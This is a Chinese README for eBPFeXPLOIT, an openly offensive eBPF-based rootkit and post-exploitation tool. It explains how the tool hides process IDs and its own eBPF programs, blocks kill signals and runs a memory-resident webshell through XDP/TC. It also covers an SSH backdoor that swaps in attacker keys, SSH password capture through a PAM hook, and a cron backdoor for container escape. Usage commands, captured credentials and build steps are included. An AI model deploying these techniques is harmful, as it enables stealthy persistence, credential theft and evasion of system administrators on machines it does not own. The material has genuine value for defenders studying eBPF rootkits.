eBPFeXPLOIT是一款基于eBPF的渗透利用工具。
目前实现的功能有:
- 隐藏自己的PID和指定的其他Pid,考虑到处理的方便至多隐藏5个pid
- ebpf内存马
- 阻止Kill命令。指定Pid的进程将不会被Kill
- 隐藏注入到内核中的eBPF程序、Map、Link
- ssh backdoor
- 捕获ssh的username和password
- cron backdoor(可用于容器逃逸)
隐藏至多4个目标PID和自己的PID,一共5个pid。默认隐藏自己
go generate &&go build -o main &&./main -pid 263959,269942
echo $$
263959
ps aux | grep -i "263959"
root 277863 0.0 0.0 3440 1920 pts/2 S+ 13:51 0:00 grep --color=auto -i 263959
隐藏Pid的原理就在于getdents64
系统调用。在 Linux 中,getdents64
系统调用可以读取目录下的文件信息,ps等命令的底层都是通过getdents64
获取/proc/
文件夹下面文件的信息来获取进程相关信息。
ctx
的第二个参数是linux_dirent64 *dirp
,它的结构如下:
struct linux_dirent64 {
u64 d_ino; /* 64-bit inode number */
u64 d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */ };
它实际上代表了getdents64
将要访问的目录中的条目。前两个字段意义不大,第三个指的是当前这个linux_dirent64
的长度,第五个d_name
指的是当前目标的文件名,例如pid
是200的话,即/proc/200
,那么d_name
就是200。
因此只要hook这个进程,将目标Pid的linux_dirent64
的前一个linux_dirent64
的d_reclen
修改为d_reclen_previous + d_reclen
,这样就可以跳过目标Pid的文件,实现了Pid的隐藏。
但是因为中间的逻辑比较复杂,如果要隐藏的Pid过多的话verifyier会炸,因此算上程序本身,至多隐藏5个。
能够实现基本的内存马功能,但是还是有一系列的问题:
- 暂时没有处理分片传输。
- 我本地的虚拟机Linux有问题,一直配不好tc只接收egress流量,导致了tc是接收的egress和ingress全流量,性能相对来说会下降。
- 执行命令是用户态里执行命令,
- 命令执行必须放到get的最后一个参数中,因为不这样的话ebpf内核态处理会很麻烦导致过不去verify。
- 必须原始的http响应字节数比命令执行结果的字节数多才能完全回显,尝试过扩充http的响应包。可以使用
bpf_skb_change_tail
扩充,但是同样还需要修改http响应头中的Content-Length
的值,非常的复杂导致过不去verify。
在处理网络数据包的性能上,XDP优于TC优于hook syscall,因此XDP一定是第一选择,但是xdp只能接收ingress的流量,而tc可以收到egress的流量,因此让二者分开进行处理两侧。
xdp将接收到的命令发到用户态并执行后,用户态再将执行的结果发给TC,将结果写到http的响应中,而且如果执行结果想完全回显,必须找一个有比结果字节数多的http响应,一般还是比较好找的。
虽然提供了dexec
这个选项,实际上dexec=0
的功能还没有实现。
./main --help
Usage of ./main:
-dexec string
directly exec or not (default "-1")
-ifname string
interface xdp and tc will attach
-pid string
pid to hide (default "-1")
./main -ifname lo -dexec 1
虽然隐藏了Pid,假如运维还是以某种方式知道了我们程序的pid的话,需要阻止Kill命令杀死我们的进程。
首先hook lsm/task_kill
,遇到要保护的pid的时候return -EPERM
,阻止后续的执行。
同时hook kretprobe/sys_kill
,当syscall返回的时候修改返回值为-ESRCH
,就可以伪装该进程不存在:
go build -o main &&./main
2024/01/06 19:19:40 current pid:398235
2024/01/06 19:19:40 Waiting for events..
kill -9 398235
bash: kill: (398235) - No such process
考虑过用kprobe或者tp,但是没有很好的办法在enter的时候阻止后续的处理,因此只能用lsm,但感觉这似乎不是一个最好办法。
考虑过在kprobe里面直接over write return,但是我一直无法正确获取到参数的pid如果不用BPF_KPROBE
宏的话,可能是我虚拟机的问题,看来一直在超级高版本的linux内核而且是arm64架构下开发问题真的很大,得想办法弄一个能远程开发的amd64架构的linux了(因为我是在mac的虚拟机里开发ebpf的)。
虽然隐藏了用户态程序本身的Pid,但是通过例如bpftool prog list
这样的命令还是可以发现我们注入到内核中的eBPF程序,但是考虑到大部分Linux系统都不会去装bpftool
,运维可能连eBPF是什么,因此注入到了内核的eBPF程序被发现的可能性很低,因此这部分的处理就比较简单,参考一下Learning-eBPF这本书中的内容,在查看prog或者map等基本都要经过这样的流程:
[0000ffffb38e1aa8] bpf(BPF_PROG_GET_NEXT_ID, {start_id=0, next_id=0, open_flags=0}, 12) = 0
[0000ffffb38e1aa8] bpf(BPF_PROG_GET_FD_BY_ID, {prog_id=2, next_id=0, open_flags=0}, 12) = 3
[0000ffffb38e1aa8] bpf(BPF_OBJ_GET_INFO_BY_FD, {info={bpf_fd=3, info_len=232, info=0xffffc95ef490}}, 16) = 0
先BPF_PROG_GET_NEXT_ID
获取ID,然后BPF_PROG_GET_FD_BY_ID
获取fd,最后BPF_OBJ_GET_INFO_BY_FD
获取相关的obj,这样的步骤会一直循环,直到BPF_PROG_GET_NEXT_ID
找不到相关的ID为止。
因此直接hook bpf系统调用,在遇到BPF_PROG_GET_NEXT_ID
、BPF_MAP_GET_NEXT_ID
和BPF_LINK_GET_NEXT_ID
的时候,进行处理即可。
ssh backdoor基于这么一个原理:
- 生成密钥对:首先,在客户端上生成一对密钥,包括公钥和私钥。通常使用 RSA 或 DSA 算法生成密钥对。私钥应该保持机密,而公钥可以在需要的地方进行分发;
- 分发公钥:将客户端生成的公钥复制到要进行免密登录的目标主机上的
~/.ssh/authorized_keys
文件中。这个文件存储了允许访问该主机的公钥列表; - 连接认证:当客户端尝试连接到目标主机时,目标主机会向客户端发送一个随机的挑战。客户端使用其私钥对挑战进行签名,并将签名发送回目标主机;
- 验证签名:目标主机使用之前存储的客户端公钥来验证客户端发送的签名。如果签名验证成功,则目标主机确认客户端的身份,并允许免密登录。
ssh使用密钥登录的时候会读取authorized_keys
文件中的公钥,利用eBPF程序hook openat和read等系统,替换掉authorized_keys
中的公钥为我们自己的,就可以实现一个隐蔽的ssh后门。
因为考虑到之前的authorized_keys
里面的字节数可能会不够,因此程序会在目标authorized_keys
后面填充很多的空格。
hook pam_get_authtok
来捕获ssh的用户名和密码。需要libpam.so.0
的绝对路径。
思路来源于云原生安全攻防|使用eBPF逃逸容器技术分析与实践
正常使用可以创建一个难以发现的cron后门,在CAP_SYS_ADMIN
权限的容器环境中,可以实现容器逃逸。
通过strace
查看cron进程,可以发现会调用newfstatat
读取/etc/crontab
三次,第三次是以newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
的形式,因此代码中还需要注意对dtd
的判断。
strace -p 1042
strace: Process 1042 attached
restart_syscall(<... resuming interrupted io_setup ...>) = 0
newfstatat(AT_FDCWD, "/etc/localtime", {st_mode=S_IFREG|0644, st_size=561, ...}, 0) = 0
newfstatat(AT_FDCWD, "crontabs", {st_mode=S_IFDIR|S_ISVTX|0730, st_size=4096, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/crontab", {st_mode=S_IFREG|0644, st_size=1136, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d/anacron", {st_mode=S_IFREG|0644, st_size=219, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/cron.d/e2scrub_all", {st_mode=S_IFREG|0644, st_size=202, ...}, 0) = 0
newfstatat(AT_FDCWD, "/etc/crontab", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_SYMLINK_NOFOLLOW) = 0
openat(AT_FDCWD, "/etc/crontab", O_RDONLY) = 5
newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
getpid() = 1042
getpid() = 1042
sendto(4, "<78>Jan 14 18:50:01 cron[1042]: "..., 64, MSG_NOSIGNAL, NULL, 0) = 64
fcntl(5, F_GETFL) = 0x20000 (flags O_RDONLY|O_LARGEFILE)
lseek(5, 0, SEEK_CUR) = 0
newfstatat(5, "", {st_mode=S_IFREG|0644, st_size=1136, ...}, AT_EMPTY_PATH) = 0
read(5, "* * * * * root /bin/sh -c \"curl "..., 4096) = 1136
lseek(5, 0, SEEK_SET) = 0
read(5, "* * * * * root /bin/sh -c \"curl "..., 4096) = 1136
....
通过hook相关的进程,即可实现每分钟cron检查/etc/crontab
的时候,将恶意的命令注入其中。
针对vixie-cron
进行后门植入,没有测试过其他版本的cron
。
./main --help
Usage of ./main:
-catchssh string
catch the ssh username and password or not (default "-1")
-croncmd string
the cmd that cron will execute.If you want to use quotes, use single quotes
-dexec string
directly exec or not (default "-1")
-hideebpf string
hide or not hide the ebpf prog ,map and link (default "1")
-ifname string
interface xdp and tc will attach
-pampath string
the absolute path of libpam.so.0,maybe need 'find / -name libpam.so.0'
-pid string
pid to hide (default "-1")
-selfpubkey string
the ssh public key file path we generate,such as ./id_rsa.pub
-targetpubkey string
the ssh public key path the user we want to login,such as /root/.ssh/authorized_keys
默认会隐藏程序自身的pid:
./main -pid 263959,269942
./main -ifname lo -dexec 1
ifname
指定网络接口,dexec
设置为1即可。如果程序在tc上遇到的问题导致没有清除,可以手动清除:
tc qdisc del dev lo clsact
自行将lo换成自己的网络接口即可。
默认功能,针对Pid
go build -o main &&./main
2024/01/06 19:19:40 current pid:398235
2024/01/06 19:19:40 Waiting for events..
kill -9 398235
bash: kill: (398235) - No such process
默认隐藏
go build -o main &&./main
#结果都为空
bpftool prog list
bpftool map list
bpftool link list
./main -selfpubkey ./id_rsa.pub -targetpubkey /home/parallels/.ssh/authorized_keys
13:24:47 › ssh -i ./id_rsa parallels@10.211.55.11
parallels@10.211.55.11's password:
13:26:29 › ssh -i ./id_rsa parallels@10.211.55.11
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.5.13-060513-generic aarch64)
find / -name libpam.so.0
./main -catchssh 1 -pampath /usr/lib/aarch64-linux-gnu/libpam.so.0
2024/01/12 13:39:23 current pid:97335
2024/01/12 13:39:24 Waiting for events..
2024/01/12 13:39:28 =================================================================
2024/01/12 13:39:28 [+]receive SSH Username:feng
2024/01/12 13:39:28 [+]receive SSH Password:qweqweqeqweqw
2024/01/12 13:39:28 =================================================================
13:39:07 › ssh feng@10.211.55.11
feng@10.211.55.11's password:
Permission denied, please try again.
执行的命令中如果要带上引号,请用单引号。
./main -croncmd "curl http://127.0.0.1:39123/"
2024/01/14 18:55:38 current pid:295190
2024/01/14 18:55:39 Waiting for events..
python3 -m http.server 39123
Serving HTTP on 0.0.0.0 port 39123 (http://0.0.0.0:39123/) ...
127.0.0.1 - - [14/Jan/2024 18:56:01] "GET / HTTP/1.1" 200 -
目前的程序只是简单的提供功能,因此启动程序后执行ctrl+c
就可以停止程序。
程序中用到了BPF_MAP_TYPE_RINGBUF
等比较新的功能,我没有太细查最低的版本要求,问了一下gpt大概是差不多Kernel 5.8以上。
所以5.8及其以上版本的Linux内核理论上是能跑的通的。此外程序需要以root权限运行。
可执行程序是用go交叉编译出来的,理论上别的架构也能执行?这是我的内核版本:
uname -a
Linux ubuntu-linux-22-04-02-desktop 6.5.13-060513-generic #202311281736 SMP PREEMPT_DYNAMIC Tue Nov 28 18:10:14 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux
下面的编译过程可能会有些问题,优先按照.githubworkflows/go.yml
(github actions)中的编译过程构建
因为代码中中使用了架构特定的宏,因此需要使用者自己根据使用的架构进行编译。
编译环境需要按照Getting Started - ebpf-go Documentation安装。因为用户态用的是Go。其他还需要安装编译eBPF所需要的基本的环境。
最好参考文章中安装,我下面只提到一些步骤,可能会有遗漏。
首先是eBPF基础的编译环境,需要安装clang,最好是clang11至clang14这个版本区间,在这个区间的clang版本都测试过不会出错。
然后安装libbpf
,对于 Debian/Ubuntu,需要libbpf-dev
. 在 Fedora 上,它是 libbpf-devel
。如果安装失败,可以手动编译libbpf
:
git clone https://github.com/libbpf/libbpf.git
cd libbpf
cd src
sudo make
sudo make install
然后安装Linux 内核头文件,在 AMD64 Debian/Ubuntu
上,安装linux-headers-amd64
.。在 Fedora
上,安装 kernel-devel
.在 Debian 上,可能还需要,ln -sf /usr/include/asm-generic/ /usr/include/
,不然可能会找不到<asm/types.h>
。
ebpf
目录中的vmlinux.h
可以自行生成,因为我的vmlinux.h
是在arm64架构下生成的,可能无法在amd64
下使用。先安装bpftool
:
sudo apt install -y linux-tools-$(uname -r)
如果无法安装可以使用源码编译:
sudo apt install build-essential \
libelf-dev \
libz-dev \
libcap-dev \
binutils-dev \
pkg-config
git clone https://github.com/libbpf/bpftool.git
cd bpftool
git submodule update --init
cd src
sudo make
sudo make install
bpftool v -p
{
"version": "7.3.0",
"libbpf_version": "1.3",
"features": {
"libbfd": false,
"llvm": true,
"skeletons": true,
"bootstrap": false
}
}
然后生成vmlinux.h
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
如果想从头安装eBPF相关的完整环境,可以参考如何在 Ubuntu 上配置 eBPF 开发环境 | YaoYao’s Blog
编译环境安装好之后,就是编译源码,首先要安装Go依赖:
go mod download
然后就是编译源码。首先修改gen.go
,修改其中的-target
为arm64
或者amd64
。
然后编译即可:
go generate
go build -o eBPFeXPLOIT
很幸运,很多的前辈们已经在之前利用eBPF提出了很多的利用思路并写出了相关的工具,但是都是很单独很分散的,我想在学习的过程中,把这些思路自己写一遍来学习,将这些思路整合成一个功能完备的工具,同时在学习思路的时候有自己的思路,去想出新的思路并实现它。
- 目前一切都不考虑将程序和Map pin到fs中,只为了提供方便的功能,等到整体功能实现的差不多之后可能会考虑。
- 对低版本Linux的兼容。写代码的时候使用了很多新功能,导致了低版本Linux内核不兼容
- 增加容器逃逸的功能模块
- 捕获数据库流量
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
bpf-developer-tutorial/src/23-http/README.md at main · eunomia-bpf/bpf-developer-tutorial
Gui774ume/ebpfkit: ebpfkit is a rootkit powered by eBPF
Routing Family Netlink Library (libnl-route)
Attaching EBPF program returns no such file or directory · Issue #32 · florianl/go-tc
tc package - github.com/florianl/go-tc - Go Packages
Esonhugh/sshd_backdoor: /root/.ssh/authorized_keys evil file watchdog with ebpf tracepoint hook.